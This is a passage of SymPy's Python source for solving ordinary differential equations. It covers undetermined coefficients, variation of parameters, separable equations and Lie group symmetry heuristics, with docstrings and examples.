coeffsdict = dict(list(zip(trialset, [0]*(len(trialset) + 1)))) eqs = _mexpand(eqs) for i in Add.make_args(eqs): s = separatevars(i, dict=True, symbols=[x]) if coeffsdict.get(s[x]): coeffsdict[s[x]] += s['coeff'] else: coeffsdict[s[x]] = s['coeff'] coeffvals = solve(list(coeffsdict.values()), coefflist) if not coeffvals: raise NotImplementedError( "Could not solve `%s` using the " "method of undetermined coefficients " "(unable to solve for coefficients)." % eq) psol = trialfunc.subs(coeffvals) return Eq(f(x), gsol.rhs + psol) def _undetermined_coefficients_match(expr, x, func=None, eq_homogeneous=S.Zero): r""" Returns a trial function match if undetermined coefficients can be applied to ``expr``, and ``None`` otherwise. A trial expression can be found for an expression for use with the method of undetermined coefficients if the expression is an additive/multiplicative combination of constants, polynomials in `x` (the independent variable of expr), `\sin(a x + b)`, `\cos(a x + b)`, and `e^{a x}` terms (in other words, it has a finite number of linearly independent derivatives). Note that you may still need to multiply each term returned here by sufficient `x` to make it linearly independent with the solutions to the homogeneous equation. This is intended for internal use by ``undetermined_coefficients`` hints. SymPy currently has no way to convert `\sin^n(x) \cos^m(y)` into a sum of only `\sin(a x)` and `\cos(b x)` terms, so these are not implemented. So, for example, you will need to manually convert `\sin^2(x)` into `[1 + \cos(2 x)]/2` to properly apply the method of undetermined coefficients on it. Examples ======== >>> from sympy import log, exp >>> from sympy.solvers.ode.ode import _undetermined_coefficients_match >>> from sympy.abc import x >>> _undetermined_coefficients_match(9*x*exp(x) + exp(-x), x) {'test': True, 'trialset': {x*exp(x), exp(-x), exp(x)}} >>> _undetermined_coefficients_match(log(x), x) {'test': False} """ a = Wild('a', exclude=[x]) b = Wild('b', exclude=[x]) expr = powsimp(expr, combine='exp') # exp(x)*exp(2*x + 1) => exp(3*x + 1) retdict = {} def _test_term(expr, x): r""" Test if ``expr`` fits the proper form for undetermined coefficients. """ if not expr.has(x): return True elif expr.is_Add: return all(_test_term(i, x) for i in expr.args) elif expr.is_Mul: if expr.has(sin, cos): foundtrig = False # Make sure that there is only one trig function in the args. # See the docstring. for i in expr.args: if i.has(sin, cos): if foundtrig: return False else: foundtrig = True return all(_test_term(i, x) for i in expr.args) elif expr.is_Function: if expr.func in (sin, cos, exp, sinh, cosh): if expr.args[0].match(a*x + b): return True else: return False else: return False elif expr.is_Pow and expr.base.is_Symbol and expr.exp.is_Integer and \ expr.exp >= 0: return True elif expr.is_Pow and expr.base.is_number: if expr.exp.match(a*x + b): return True else: return False elif expr.is_Symbol or expr.is_number: return True else: return False def _get_trial_set(expr, x, exprs=set([])): r""" Returns a set of trial terms for undetermined coefficients. The idea behind undetermined coefficients is that the terms expression repeat themselves after a finite number of derivatives, except for the coefficients (they are linearly dependent). So if we collect these, we should have the terms of our trial function. """ def _remove_coefficient(expr, x): r""" Returns the expression without a coefficient. Similar to expr.as_independent(x)[1], except it only works multiplicatively. """ term = S.One if expr.is_Mul: for i in expr.args: if i.has(x): term *= i elif expr.has(x): term = expr return term expr = expand_mul(expr) if expr.is_Add: for term in expr.args: if _remove_coefficient(term, x) in exprs: pass else: exprs.add(_remove_coefficient(term, x)) exprs = exprs.union(_get_trial_set(term, x, exprs)) else: term = _remove_coefficient(expr, x) tmpset = exprs.union({term}) oldset = set([]) while tmpset != oldset: # If you get stuck in this loop, then _test_term is probably # broken oldset = tmpset.copy() expr = expr.diff(x) term = _remove_coefficient(expr, x) if term.is_Add: tmpset = tmpset.union(_get_trial_set(term, x, tmpset)) else: tmpset.add(term) exprs = tmpset return exprs def is_homogeneous_solution(term): r""" This function checks whether the given trialset contains any root of homogenous equation""" return expand(sub_func_doit(eq_homogeneous, func, term)).is_zero retdict['test'] = _test_term(expr, x) if retdict['test']: # Try to generate a list of trial solutions that will have the # undetermined coefficients. Note that if any of these are not linearly # independent with any of the solutions to the homogeneous equation, # then they will need to be multiplied by sufficient x to make them so. # This function DOES NOT do that (it doesn't even look at the # homogeneous equation). temp_set = set([]) for i in Add.make_args(expr): act = _get_trial_set(i,x) if eq_homogeneous is not S.Zero: while any(is_homogeneous_solution(ts) for ts in act): act = {x*ts for ts in act} temp_set = temp_set.union(act) retdict['trialset'] = temp_set return retdict def ode_nth_linear_constant_coeff_variation_of_parameters(eq, func, order, match): r""" Solves an `n`\th order linear differential equation with constant coefficients using the method of variation of parameters. This method works on any differential equations of the form .. math:: f^{(n)}(x) + a_{n-1} f^{(n-1)}(x) + \cdots + a_1 f'(x) + a_0 f(x) = P(x)\text{.} This method works by assuming that the particular solution takes the form .. math:: \sum_{x=1}^{n} c_i(x) y_i(x)\text{,} where `y_i` is the `i`\th solution to the homogeneous equation. The solution is then solved using Wronskian's and Cramer's Rule. The particular solution is given by .. math:: \sum_{x=1}^n \left( \int \frac{W_i(x)}{W(x)} \,dx \right) y_i(x) \text{,} where `W(x)` is the Wronskian of the fundamental system (the system of `n` linearly independent solutions to the homogeneous equation), and `W_i(x)` is the Wronskian of the fundamental system with the `i`\th column replaced with `[0, 0, \cdots, 0, P(x)]`. This method is general enough to solve any `n`\th order inhomogeneous linear differential equation with constant coefficients, but sometimes SymPy cannot simplify the Wronskian well enough to integrate it. If this method hangs, try using the ``nth_linear_constant_coeff_variation_of_parameters_Integral`` hint and simplifying the integrals manually. Also, prefer using ``nth_linear_constant_coeff_undetermined_coefficients`` when it applies, because it doesn't use integration, making it faster and more reliable. Warning, using simplify=False with 'nth_linear_constant_coeff_variation_of_parameters' in :py:meth:`~sympy.solvers.ode.dsolve` may cause it to hang, because it will not attempt to simplify the Wronskian before integrating. It is recommended that you only use simplify=False with 'nth_linear_constant_coeff_variation_of_parameters_Integral' for this method, especially if the solution to the homogeneous equation has trigonometric functions in it. Examples ======== >>> from sympy import Function, dsolve, pprint, exp, log >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(f(x).diff(x, 3) - 3*f(x).diff(x, 2) + ... 3*f(x).diff(x) - f(x) - exp(x)*log(x), f(x), ... hint='nth_linear_constant_coeff_variation_of_parameters')) / / / x*log(x) 11*x\\\ x f(x) = |C1 + x*|C2 + x*|C3 + -------- - ----|||*e \ \ \ 6 36 /// References ========== - https://en.wikipedia.org/wiki/Variation_of_parameters - http://planetmath.org/VariationOfParameters - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 233 # indirect doctest """ gensol = ode_nth_linear_constant_coeff_homogeneous(eq, func, order, match, returns='both') match.update(gensol) return _solve_variation_of_parameters(eq, func, order, match) def _solve_variation_of_parameters(eq, func, order, match): r""" Helper function for the method of variation of parameters and nonhomogeneous euler eq. See the :py:meth:`~sympy.solvers.ode.ode.ode_nth_linear_constant_coeff_variation_of_parameters` docstring for more information on this method. The parameter ``match`` should be a dictionary that has the following keys: ``list`` A list of solutions to the homogeneous equation, such as the list returned by ``ode_nth_linear_constant_coeff_homogeneous(returns='list')``. ``sol`` The general solution, such as the solution returned by ``ode_nth_linear_constant_coeff_homogeneous(returns='sol')``. """ x = func.args[0] f = func.func r = match psol = 0 gensols = r['list'] gsol = r['sol'] wr = wronskian(gensols, x) if r.get('simplify', True): wr = simplify(wr) # We need much better simplification for # some ODEs. See issue 4662, for example. # To reduce commonly occurring sin(x)**2 + cos(x)**2 to 1 wr = trigsimp(wr, deep=True, recursive=True) if not wr: # The wronskian will be 0 iff the solutions are not linearly # independent. raise NotImplementedError("Cannot find " + str(order) + " solutions to the homogeneous equation necessary to apply " + "variation of parameters to " + str(eq) + " (Wronskian == 0)") if len(gensols) != order: raise NotImplementedError("Cannot find " + str(order) + " solutions to the homogeneous equation necessary to apply " + "variation of parameters to " + str(eq) + " (number of terms != order)") negoneterm = (-1)**(order) for i in gensols: psol += negoneterm*Integral(wronskian([sol for sol in gensols if sol != i], x)*r[-1]/wr, x)*i/r[order] negoneterm *= -1 if r.get('simplify', True): psol = simplify(psol) psol = trigsimp(psol, deep=True) return Eq(f(x), gsol.rhs + psol) def ode_separable(eq, func, order, match): r""" Solves separable 1st order differential equations. This is any differential equation that can be written as `P(y) \tfrac{dy}{dx} = Q(x)`. The solution can then just be found by rearranging terms and integrating: `\int P(y) \,dy = \int Q(x) \,dx`. This hint uses :py:meth:`sympy.simplify.simplify.separatevars` as its back end, so if a separable equation is not caught by this solver, it is most likely the fault of that function. :py:meth:`~sympy.simplify.simplify.separatevars` is smart enough to do most expansion and factoring necessary to convert a separable equation `F(x, y)` into the proper form `P(x)\cdot{}Q(y)`. The general solution is:: >>> from sympy import Function, dsolve, Eq, pprint >>> from sympy.abc import x >>> a, b, c, d, f = map(Function, ['a', 'b', 'c', 'd', 'f']) >>> genform = Eq(a(x)*b(f(x))*f(x).diff(x), c(x)*d(f(x))) >>> pprint(genform) d a(x)*b(f(x))*--(f(x)) = c(x)*d(f(x)) dx >>> pprint(dsolve(genform, f(x), hint='separable_Integral')) f(x) / / | | | b(y) | c(x) | ---- dy = C1 + | ---- dx | d(y) | a(x) | | / / Examples ======== >>> from sympy import Function, dsolve, Eq >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(Eq(f(x)*f(x).diff(x) + x, 3*x*f(x)**2), f(x), ... hint='separable', simplify=False)) / 2 \ 2 log\3*f (x) - 1/ x ---------------- = C1 + -- 6 2 References ========== - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 52 # indirect doctest """ x = func.args[0] f = func.func C1 = get_numbered_constants(eq, num=1) r = match # {'m1':m1, 'm2':m2, 'y':y} u = r.get('hint', f(x)) # get u from separable_reduced else get f(x) return Eq(Integral(r['m2']['coeff']*r['m2'][r['y']]/r['m1'][r['y']], (r['y'], None, u)), Integral(-r['m1']['coeff']*r['m1'][x]/ r['m2'][x], x) + C1) def checkinfsol(eq, infinitesimals, func=None, order=None): r""" This function is used to check if the given infinitesimals are the actual infinitesimals of the given first order differential equation. This method is specific to the Lie Group Solver of ODEs. As of now, it simply checks, by substituting the infinitesimals in the partial differential equation. .. math:: \frac{\partial \eta}{\partial x} + \left(\frac{\partial \eta}{\partial y} - \frac{\partial \xi}{\partial x}\right)*h - \frac{\partial \xi}{\partial y}*h^{2} - \xi\frac{\partial h}{\partial x} - \eta\frac{\partial h}{\partial y} = 0 where `\eta`, and `\xi` are the infinitesimals and `h(x,y) = \frac{dy}{dx}` The infinitesimals should be given in the form of a list of dicts ``[{xi(x, y): inf, eta(x, y): inf}]``, corresponding to the output of the function infinitesimals. It returns a list of values of the form ``[(True/False, sol)]`` where ``sol`` is the value obtained after substituting the infinitesimals in the PDE. If it is ``True``, then ``sol`` would be 0. """ if isinstance(eq, Equality): eq = eq.lhs - eq.rhs if not func: eq, func = _preprocess(eq) variables = func.args if len(variables) != 1: raise ValueError("ODE's have only one independent variable") else: x = variables[0] if not order: order = ode_order(eq, func) if order != 1: raise NotImplementedError("Lie groups solver has been implemented " "only for first order differential equations") else: df = func.diff(x) a = Wild('a', exclude = [df]) b = Wild('b', exclude = [df]) match = collect(expand(eq), df).match(a*df + b) if match: h = -simplify(match[b]/match[a]) else: try: sol = solve(eq, df) except NotImplementedError: raise NotImplementedError("Infinitesimals for the " "first order ODE could not be found") else: h = sol[0] # Find infinitesimals for one solution y = Dummy('y') h = h.subs(func, y) xi = Function('xi')(x, y) eta = Function('eta')(x, y) dxi = Function('xi')(x, func) deta = Function('eta')(x, func) pde = (eta.diff(x) + (eta.diff(y) - xi.diff(x))*h - (xi.diff(y))*h**2 - xi*(h.diff(x)) - eta*(h.diff(y))) soltup = [] for sol in infinitesimals: tsol = {xi: S(sol[dxi]).subs(func, y), eta: S(sol[deta]).subs(func, y)} sol = simplify(pde.subs(tsol).doit()) if sol: soltup.append((False, sol.subs(y, func))) else: soltup.append((True, 0)) return soltup def _ode_lie_group_try_heuristic(eq, heuristic, func, match, inf): xi = Function("xi") eta = Function("eta") f = func.func x = func.args[0] y = match['y'] h = match['h'] tempsol = [] if not inf: try: inf = infinitesimals(eq, hint=heuristic, func=func, order=1, match=match) except ValueError: return None for infsim in inf: xiinf = (infsim[xi(x, func)]).subs(func, y) etainf = (infsim[eta(x, func)]).subs(func, y) # This condition creates recursion while using pdsolve. # Since the first step while solving a PDE of form # a*(f(x, y).diff(x)) + b*(f(x, y).diff(y)) + c = 0 # is to solve the ODE dy/dx = b/a if simplify(etainf/xiinf) == h: continue rpde = f(x, y).diff(x)*xiinf + f(x, y).diff(y)*etainf r = pdsolve(rpde, func=f(x, y)).rhs s = pdsolve(rpde - 1, func=f(x, y)).rhs newcoord = [_lie_group_remove(coord) for coord in [r, s]] r = Dummy("r") s = Dummy("s") C1 = Symbol("C1") rcoord = newcoord[0] scoord = newcoord[-1] try: sol = solve([r - rcoord, s - scoord], x, y, dict=True) if sol == []: continue except NotImplementedError: continue else: sol = sol[0] xsub = sol[x] ysub = sol[y] num = simplify(scoord.diff(x) + scoord.diff(y)*h) denom = simplify(rcoord.diff(x) + rcoord.diff(y)*h) if num and denom: diffeq = simplify((num/denom).subs([(x, xsub), (y, ysub)])) sep = separatevars(diffeq, symbols=[r, s], dict=True) if sep: # Trying to separate, r and s coordinates deq = integrate((1/sep[s]), s) + C1 - integrate(sep['coeff']*sep[r], r) # Substituting and reverting back to original coordinates deq = deq.subs([(r, rcoord), (s, scoord)]) try: sdeq = solve(deq, y) except NotImplementedError: tempsol.append(deq) else: return [Eq(f(x), sol) for sol in sdeq] elif denom: # (ds/dr) is zero which means s is constant return [Eq(f(x), solve(scoord - C1, y)[0])] elif num: # (dr/ds) is zero which means r is constant return [Eq(f(x), solve(rcoord - C1, y)[0])] # If nothing works, return solution as it is, without solving for y if tempsol: return [Eq(sol.subs(y, f(x)), 0) for sol in tempsol] return None def _ode_lie_group( s, func, order, match): heuristics = lie_heuristics inf = {} f = func.func x = func.args[0] df = func.diff(x) xi = Function("xi") eta = Function("eta") xis = match['xi'] etas = match['eta'] y = match.pop('y', None) if y: h = -simplify(match[match['d']]/match[match['e']]) y = y else: y = Dummy("y") h = s.subs(func, y) if xis is not None and etas is not None: inf = [{xi(x, f(x)): S(xis), eta(x, f(x)): S(etas)}] if checkinfsol(Eq(df, s), inf, func=f(x), order=1)[0][0]: heuristics = ["user_defined"] + list(heuristics) match = {'h': h, 'y': y} # This is done so that if any heuristic raises a ValueError # another heuristic can be used. sol = None for heuristic in heuristics: sol = _ode_lie_group_try_heuristic(Eq(df, s), heuristic, func, match, inf) if sol: return sol return sol def ode_lie_group(eq, func, order, match): r""" This hint implements the Lie group method of solving first order differential equations. The aim is to convert the given differential equation from the given coordinate system into another coordinate system where it becomes invariant under the one-parameter Lie group of translations. The converted ODE can be easily solved by quadrature. It makes use of the :py:meth:`sympy.solvers.ode.infinitesimals` function which returns the infinitesimals of the transformation. The coordinates `r` and `s` can be found by solving the following Partial Differential Equations. .. math :: \xi\frac{\partial r}{\partial x} + \eta\frac{\partial r}{\partial y} = 0 .. math :: \xi\frac{\partial s}{\partial x} + \eta\frac{\partial s}{\partial y} = 1 The differential equation becomes separable in the new coordinate system .. math :: \frac{ds}{dr} = \frac{\frac{\partial s}{\partial x} + h(x, y)\frac{\partial s}{\partial y}}{ \frac{\partial r}{\partial x} + h(x, y)\frac{\partial r}{\partial y}} After finding the solution by integration, it is then converted back to the original coordinate system by substituting `r` and `s` in terms of `x` and `y` again. Examples ======== >>> from sympy import Function, dsolve, exp, pprint >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(f(x).diff(x) + 2*x*f(x) - x*exp(-x**2), f(x), ... hint='lie_group')) / 2\ 2 | x | -x f(x) = |C1 + --|*e \ 2 / References ========== - Solving differential equations by Symmetry Groups, John Starrett, pp. 1 - pp. 14 """ x = func.args[0] df = func.diff(x) try: eqsol = solve(eq, df) except NotImplementedError: eqsol = [] desols = [] for s in eqsol: sol = _ode_lie_group(s, func, order, match=match) if sol: desols.extend(sol) if desols == []: raise NotImplementedError("The given ODE " + str(eq) + " cannot be solved by" + " the lie group method") return desols def _lie_group_remove(coords): r""" This function is strictly meant for internal use by the Lie group ODE solving method. It replaces arbitrary functions returned by pdsolve as follows: 1] If coords is an arbitrary function, then its argument is returned. 2] An arbitrary function in an Add object is replaced by zero. 3] An arbitrary function in a Mul object is replaced by one. 4] If there is no arbitrary function coords is returned unchanged. Examples ======== >>> from sympy.solvers.ode.ode import _lie_group_remove >>> from sympy import Function >>> from sympy.abc import x, y >>> F = Function("F") >>> eq = x**2*y >>> _lie_group_remove(eq) x**2*y >>> eq = F(x**2*y) >>> _lie_group_remove(eq) x**2*y >>> eq = x*y**2 + F(x**3) >>> _lie_group_remove(eq) x*y**2 >>> eq = (F(x**3) + y)*x**4 >>> _lie_group_remove(eq) x**4*y """ if isinstance(coords, AppliedUndef): return coords.args[0] elif coords.is_Add: subfunc = coords.atoms(AppliedUndef) if subfunc: for func in subfunc: coords = coords.subs(func, 0) return coords elif coords.is_Pow: base, expr = coords.as_base_exp() base = _lie_group_remove(base) expr = _lie_group_remove(expr) return base**expr elif coords.is_Mul: mulargs = [] coordargs = coords.args for arg in coordargs: if not isinstance(coords, AppliedUndef): mulargs.append(_lie_group_remove(arg)) return Mul(*mulargs) return coords def infinitesimals(eq, func=None, order=None, hint='default', match=None): r""" The infinitesimal functions of an ordinary differential equation, `\xi(x,y)` and `\eta(x,y)`, are the infinitesimals of the Lie group of point transformations for which the differential equation is invariant. So, the ODE `y'=f(x,y)` would admit a Lie group `x^*=X(x,y;\varepsilon)=x+\varepsilon\xi(x,y)`, `y^*=Y(x,y;\varepsilon)=y+\varepsilon\eta(x,y)` such that `(y^*)'=f(x^*, y^*)`. A change of coordinates, to `r(x,y)` and `s(x,y)`, can be performed so this Lie group becomes the translation group, `r^*=r` and `s^*=s+\varepsilon`. They are tangents to the coordinate curves of the new system. Consider the transformation `(x, y) \to (X, Y)` such that the differential equation remains invariant. `\xi` and `\eta` are the tangents to the transformed coordinates `X` and `Y`, at `\varepsilon=0`. .. math:: \left(\frac{\partial X(x,y;\varepsilon)}{\partial\varepsilon }\right)|_{\varepsilon=0} = \xi, \left(\frac{\partial Y(x,y;\varepsilon)}{\partial\varepsilon }\right)|_{\varepsilon=0} = \eta, The infinitesimals can be found by solving the following PDE: >>> from sympy import Function, Eq, pprint >>> from sympy.abc import x, y >>> xi, eta, h = map(Function, ['xi', 'eta', 'h']) >>> h = h(x, y) # dy/dx = h >>> eta = eta(x, y) >>> xi = xi(x, y) >>> genform = Eq(eta.diff(x) + (eta.diff(y) - xi.diff(x))*h ... - (xi.diff(y))*h**2 - xi*(h.diff(x)) - eta*(h.diff(y)), 0) >>> pprint(genform) /d d \ d 2 d |--(eta(x, y)) - --(xi(x, y))|*h(x, y) - eta(x, y)*--(h(x, y)) - h (x, y)*--(x \dy dx / dy dy <BLANKLINE> d d i(x, y)) - xi(x, y)*--(h(x, y)) + --(eta(x, y)) = 0 dx dx Solving the above mentioned PDE is not trivial, and can be solved only by making intelligent assumptions for `\xi` and `\eta` (heuristics). Once an infinitesimal is found, the attempt to find more heuristics stops. This is done to optimise the speed of solving the differential equation. If a list of all the infinitesimals is needed, ``hint`` should be flagged as ``all``, which gives the complete list of infinitesimals. If the infinitesimals for a particular heuristic needs to be found, it can be passed as a flag to ``hint``. Examples ======== >>> from sympy import Function >>> from sympy.solvers.ode.ode import infinitesimals >>> from sympy.abc import x >>> f = Function('f') >>> eq = f(x).diff(x) - x**2*f(x) >>> infinitesimals(eq) [{eta(x, f(x)): exp(x**3/3), xi(x, f(x)): 0}] References ========== - Solving differential equations by Symmetry Groups, John Starrett, pp. 1 - pp. 14 """ if isinstance(eq, Equality): eq = eq.lhs - eq.rhs if not func: eq, func = _preprocess(eq) variables = func.args if len(variables) != 1: raise ValueError("ODE's have only one independent variable") else: x = variables[0] if not order: order = ode_order(eq, func) if order != 1: raise NotImplementedError("Infinitesimals for only " "first order ODE's have been implemented") else: df = func.diff(x) # Matching differential equation of the form a*df + b a = Wild('a', exclude = [df]) b = Wild('b', exclude = [df]) if match: # Used by lie_group hint h = match['h'] y = match['y'] else: match = collect(expand(eq), df).match(a*df + b) if match: h = -simplify(match[b]/match[a]) else: try: sol = solve(eq, df) except NotImplementedError: raise NotImplementedError("Infinitesimals for the " "first order ODE could not be found") else: h = sol[0] # Find infinitesimals for one solution y = Dummy("y") h = h.subs(func, y) u = Dummy("u") hx = h.diff(x) hy = h.diff(y) hinv = ((1/h).subs([(x, u), (y, x)])).subs(u, y) # Inverse ODE match = {'h': h, 'func': func, 'hx': hx, 'hy': hy, 'y': y, 'hinv': hinv} if hint == 'all': xieta = [] for heuristic in lie_heuristics: function = globals()['lie_heuristic_' + heuristic] inflist = function(match, comp=True) if inflist: xieta.extend([inf for inf in inflist if inf not in xieta]) if xieta: return xieta else: raise NotImplementedError("Infinitesimals could not be found for " "the given ODE") elif hint == 'default': for heuristic in lie_heuristics: function = globals()['lie_heuristic_' + heuristic] xieta = function(match, comp=False) if xieta: return xieta raise NotImplementedError("Infinitesimals could not be found for" " the given ODE") elif hint not in lie_heuristics: raise ValueError("Heuristic not recognized: " + hint) else: function = globals()['lie_heuristic_' + hint] xieta = function(match, comp=True) if xieta: return xieta else: raise ValueError("Infinitesimals could not be found using the" " given heuristic") def lie_heuristic_abaco1_simple(match, comp=False): r""" The first heuristic uses the following four sets of assumptions on `\xi` and `\eta` .. math:: \xi = 0, \eta = f(x) .. math:: \xi = 0, \eta = f(y) .. math:: \xi = f(x), \eta = 0 .. math:: \xi = f(y), \eta = 0 The success of this heuristic is determined by algebraic factorisation. For the first assumption `\xi = 0` and `\eta` to be a function of `x`, the PDE .. math:: \frac{\partial \eta}{\partial x} + (\frac{\partial \eta}{\partial y} - \frac{\partial \xi}{\partial x})*h - \frac{\partial \xi}{\partial y}*h^{2} - \xi*\frac{\partial h}{\partial x} - \eta*\frac{\partial h}{\partial y} = 0 reduces to `f'(x) - f\frac{\partial h}{\partial y} = 0` If `\frac{\partial h}{\partial y}` is a function of `x`, then this can usually be integrated easily. A similar idea is applied to the other 3 assumptions as well. References ========== - E.S Cheb-Terrab, L.G.S Duarte and L.A,C.P da Mota, Computer Algebra Solving of First Order ODEs Using Symmetry Methods, pp. 8 """ xieta = [] y = match['y'] h = match['h'] func = match['func'] x = func.args[0] hx = match['hx'] hy = match['hy'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) hysym = hy.free_symbols if y not in hysym: try: fx = exp(integrate(hy, x)) except NotImplementedError: pass else: inf = {xi: S.Zero, eta: fx} if not comp: return [inf] if comp and inf not in xieta: xieta.append(inf) factor = hy/h facsym = factor.free_symbols if x not in facsym: try: fy = exp(integrate(factor, y)) except NotImplementedError: pass else: inf = {xi: S.Zero, eta: fy.subs(y, func)} if not comp: return [inf] if comp and inf not in xieta: xieta.append(inf) factor = -hx/h facsym = factor.free_symbols if y not in facsym: try: fx = exp(integrate(factor, x)) except NotImplementedError: pass else: inf = {xi: fx, eta: S.Zero} if not comp: return [inf] if comp and inf not in xieta: xieta.append(inf) factor = -hx/(h**2) facsym = factor.free_symbols if x not in facsym: try: fy = exp(integrate(factor, y)) except NotImplementedError: pass else: inf = {xi: fy.subs(y, func), eta: S.Zero} if not comp: return [inf] if comp and inf not in xieta: xieta.append(inf) if xieta: return xieta def lie_heuristic_abaco1_product(match, comp=False): r""" The second heuristic uses the following two assumptions on `\xi` and `\eta` .. math:: \eta = 0, \xi = f(x)*g(y) .. math:: \eta = f(x)*g(y), \xi = 0 The first assumption of this heuristic holds good if `\frac{1}{h^{2}}\frac{\partial^2}{\partial x \partial y}\log(h)` is separable in `x` and `y`, then the separated factors containing `x` is `f(x)`, and `g(y)` is obtained by .. math:: e^{\int f\frac{\partial}{\partial x}\left(\frac{1}{f*h}\right)\,dy} provided `f\frac{\partial}{\partial x}\left(\frac{1}{f*h}\right)` is a function of `y` only. The second assumption holds good if `\frac{dy}{dx} = h(x, y)` is rewritten as `\frac{dy}{dx} = \frac{1}{h(y, x)}` and the same properties of the first assumption satisfies. After obtaining `f(x)` and `g(y)`, the coordinates are again interchanged, to get `\eta` as `f(x)*g(y)` References ========== - E.S. Cheb-Terrab, A.D. Roche, Symmetries and First Order ODE Patterns, pp. 7 - pp. 8 """ xieta = [] y = match['y'] h = match['h'] hinv = match['hinv'] func = match['func'] x = func.args[0] xi = Function('xi')(x, func) eta = Function('eta')(x, func) inf = separatevars(((log(h).diff(y)).diff(x))/h**2, dict=True, symbols=[x, y]) if inf and inf['coeff']: fx = inf[x] gy = simplify(fx*((1/(fx*h)).diff(x))) gysyms = gy.free_symbols if x not in gysyms: gy = exp(integrate(gy, y)) inf = {eta: S.Zero, xi: (fx*gy).subs(y, func)} if not comp: return [inf] if comp and inf not in xieta: xieta.append(inf) u1 = Dummy("u1") inf = separatevars(((log(hinv).diff(y)).diff(x))/hinv**2, dict=True, symbols=[x, y]) if inf and inf['coeff']: fx = inf[x] gy = simplify(fx*((1/(fx*hinv)).diff(x))) gysyms = gy.free_symbols if x not in gysyms: gy = exp(integrate(gy, y)) etaval = fx*gy etaval = (etaval.subs([(x, u1), (y, x)])).subs(u1, y) inf = {eta: etaval.subs(y, func), xi: S.Zero} if not comp: return [inf] if comp and inf not in xieta: xieta.append(inf) if xieta: return xieta def lie_heuristic_bivariate(match, comp=False): r""" The third heuristic assumes the infinitesimals `\xi` and `\eta` to be bi-variate polynomials in `x` and `y`. The assumption made here for the logic below is that `h` is a rational function in `x` and `y` though that may not be necessary for the infinitesimals to be bivariate polynomials. The coefficients of the infinitesimals are found out by substituting them in the PDE and grouping similar terms that are polynomials and since they form a linear system, solve and check for non trivial solutions. The degree of the assumed bivariates are increased till a certain maximum value. References ========== - Lie Groups and Differential Equations pp. 327 - pp. 329 """ h = match['h'] hx = match['hx'] hy = match['hy'] func = match['func'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) if h.is_rational_function(): # The maximum degree that the infinitesimals can take is # calculated by this technique. etax, etay, etad, xix, xiy, xid = symbols("etax etay etad xix xiy xid") ipde = etax + (etay - xix)*h - xiy*h**2 - xid*hx - etad*hy num, denom = cancel(ipde).as_numer_denom() deg = Poly(num, x, y).total_degree() deta = Function('deta')(x, y) dxi = Function('dxi')(x, y) ipde = (deta.diff(x) + (deta.diff(y) - dxi.diff(x))*h - (dxi.diff(y))*h**2 - dxi*hx - deta*hy) xieq = Symbol("xi0") etaeq = Symbol("eta0") for i in range(deg + 1): if i: xieq += Add(*[ Symbol("xi_" + str(power) + "_" + str(i - power))*x**power*y**(i - power) for power in range(i + 1)]) etaeq += Add(*[ Symbol("eta_" + str(power) + "_" + str(i - power))*x**power*y**(i - power) for power in range(i + 1)]) pden, denom = (ipde.subs({dxi: xieq, deta: etaeq}).doit()).as_numer_denom() pden = expand(pden) # If the individual terms are monomials, the coefficients # are grouped if pden.is_polynomial(x, y) and pden.is_Add: polyy = Poly(pden, x, y).as_dict() if polyy: symset = xieq.free_symbols.union(etaeq.free_symbols) - {x, y} soldict = solve(polyy.values(), *symset) if isinstance(soldict, list): soldict = soldict[0] if any(soldict.values()): xired = xieq.subs(soldict) etared = etaeq.subs(soldict) # Scaling is done by substituting one for the parameters # This can be any number except zero. dict_ = dict((sym, 1) for sym in symset) inf = {eta: etared.subs(dict_).subs(y, func), xi: xired.subs(dict_).subs(y, func)} return [inf] def lie_heuristic_chi(match, comp=False): r""" The aim of the fourth heuristic is to find the function `\chi(x, y)` that satisfies the PDE `\frac{d\chi}{dx} + h\frac{d\chi}{dx} - \frac{\partial h}{\partial y}\chi = 0`. This assumes `\chi` to be a bivariate polynomial in `x` and `y`. By intuition, `h` should be a rational function in `x` and `y`. The method used here is to substitute a general binomial for `\chi` up to a certain maximum degree is reached. The coefficients of the polynomials, are calculated by by collecting terms of the same order in `x` and `y`. After finding `\chi`, the next step is to use `\eta = \xi*h + \chi`, to determine `\xi` and `\eta`. This can be done by dividing `\chi` by `h` which would give `-\xi` as the quotient and `\eta` as the remainder. References ========== - E.S Cheb-Terrab, L.G.S Duarte and L.A,C.P da Mota, Computer Algebra Solving of First Order ODEs Using Symmetry Methods, pp. 8 """ h = match['h'] hy = match['hy'] func = match['func'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) if h.is_rational_function(): schi, schix, schiy = symbols("schi, schix, schiy") cpde = schix + h*schiy - hy*schi num, denom = cancel(cpde).as_numer_denom() deg = Poly(num, x, y).total_degree() chi = Function('chi')(x, y) chix = chi.diff(x) chiy = chi.diff(y) cpde = chix + h*chiy - hy*chi chieq = Symbol("chi") for i in range(1, deg + 1): chieq += Add(*[ Symbol("chi_" + str(power) + "_" + str(i - power))*x**power*y**(i - power) for power in range(i + 1)]) cnum, cden = cancel(cpde.subs({chi : chieq}).doit()).as_numer_denom() cnum = expand(cnum) if cnum.is_polynomial(x, y) and cnum.is_Add: cpoly = Poly(cnum, x, y).as_dict() if cpoly: solsyms = chieq.free_symbols - {x, y} soldict = solve(cpoly.values(), *solsyms) if isinstance(soldict, list): soldict = soldict[0] if any(soldict.values()): chieq = chieq.subs(soldict) dict_ = dict((sym, 1) for sym in solsyms) chieq = chieq.subs(dict_) # After finding chi, the main aim is to find out # eta, xi by the equation eta = xi*h + chi # One method to set xi, would be rearranging it to # (eta/h) - xi = (chi/h). This would mean dividing # chi by h would give -xi as the quotient and eta # as the remainder. Thanks to Sean Vig for suggesting # this method. xic, etac = div(chieq, h) inf = {eta: etac.subs(y, func), xi: -xic.subs(y, func)} return [inf] def lie_heuristic_function_sum(match, comp=False): r""" This heuristic uses the following two assumptions on `\xi` and `\eta` .. math:: \eta = 0, \xi = f(x) + g(y) .. math:: \eta = f(x) + g(y), \xi = 0 The first assumption of this heuristic holds good if .. math:: \frac{\partial}{\partial 